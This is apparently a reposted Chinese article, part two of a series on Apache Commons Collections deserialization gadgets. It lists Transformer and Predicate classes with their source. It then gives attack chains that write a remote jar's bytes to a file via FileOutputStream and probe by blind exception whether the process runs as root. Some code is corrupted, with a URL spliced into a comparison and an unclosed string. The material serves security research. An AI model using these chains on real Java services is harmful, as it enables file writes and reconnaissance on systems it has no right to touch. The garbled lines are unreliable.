Apache CommonCollection Gadget 几种特殊的玩法( 二 )


MapTransformer在调用transform方法时 , 将输入函数作为key , 返回类在实例化时参数map的value
public Object transform(Object input) {    return iMap.get(input);}NOPTransformer啥也不干的Transformer
public Object transform(Object input) {    return input;}SwitchTransformer类似if语句 , 在如果条件为真 , 则执行第一个Transformer , 如果条件为假 , 则执行第二个Transformer
public Object transform(Object input) {for (int i = 0; i < iPredicates.length; i++) {if (iPredicates[i].evaluate(input) == true) {return iTransformers[i].transform(input);}}return iDefault.transform(input);}PredicateTransformer将Predicate包装为Transformer
public Object transform(Object input) {    return (iPredicate.evaluate(input) ? Boolean.TRUE : Boolean.FALSE);}StringValueTransformer调用String.valueOf , 并返回结果
public Object transform(Object input) {return String.valueOf(input);}继承自Predicate接口的类AllPredicate在执行多个Predicate , 是否都返回true 。
public boolean evaluate(Object object) {for (int i = 0; i < iPredicates.length; i++) {if (iPredicates[i].evaluate(object) == false) {return false;}}return true;}AndPredicate两个Predicate是否都返回true
public boolean evaluate(Object object) {return (iPredicate1.evaluate(object) && iPredicate2.evaluate(object));}AnyPredicate与AllPredicate相反 , 只要有任意一个Predicate返回true , 则返回true
public boolean evaluate(Object object) {for (int i = 0; i < iPredicates.length; i++) {if (iPredicates[i].evaluate(object)) {return true;}}return false;}EqualPredicate输入的对象是否与类在实例化时提供的对象是否一致
public boolean evaluate(Object object) {    return (iValue.equals(object));}ExceptionPredicate在执行evaluate时抛出一个异常
FalsePredicate永远返回False
IdentityPredicateevaluate方法中输入的对象是否与类实例化时提供的类是否一样
public boolean evaluate(Object object) {    return (iValue =https://www.isolves.com/it/wlyx/fwq/2020-06-12/= object);}InstanceofPredicate输入的对象是否与类实例化时提供的类的类型是否一致
public boolean evaluate(Object object) {    return (iType.isInstance(object));}NotPredicate对evaluate的结果取反操作
public boolean evaluate(Object object) {    return !(iPredicate.evaluate(object));}NullIsExceptionPredicate如果输入的对象为null , 则抛出一个异常
NullIsFalsePredicate如果输入的对象为null , 则返回false
NullIsTruePredicate如果输入的对象为null , 则返回true
NullPredicate输入的对象是否为null
OrPredicate类似与条件语句中的或
public boolean evaluate(Object object) {   return (iPredicate1.evaluate(object) || iPredicate2.evaluate(object));}TransformerPredicate将一个Transformer包装为Predicate
0x03 使用方法CommonCollection写入文件这种方法通过InvokerTransformr调用构造函数 , 然后再写入文件 。当然 , 这里我们可以使用InstantiateTransformer去实例化FileOutputStream类去写入文件 , 代码如下
new ChainedTransformer(new Transformer[]{new ConstantTransformer(FileOutputStream.class),new InstantiateTransformer(new Class[]{String.class, Boolean.TYPE},new Object[]{"filePath, false}),new InvokerTransformer("write", new Class[]{byte[].class}, new Object[]{getRemoteJarBytes()})}),Gadget版盲注思想类似于Sql的盲注 。我们可以通过如下语句检测java进程是否是root用户
if (System.getProperty("user.name").equals("root")){throw new Exception();}我们可以通过如下cc链 , 执行该语句
TransformerUtils.switchTransformer(PredicateUtils.asPredicate(new ChainedTransformer(new Transformer[]{new ConstantTransformer(System.class),new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getProperty", new Class[]{String.class}}),new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null, new Object[]{"user.name"}}),new InvokerTransformer("toString",new Class[]{},new Object[0]),new InvokerTransformer("toLowerCase",new Class[]{},new Object[0]),new InvokerTransformer("contains",new Class[]{CharSequence.class},new Object[]{"root"}),})),new TransformerUtils.exceptionTransformer(),new TransformerUtils.nopTransformer());


推荐阅读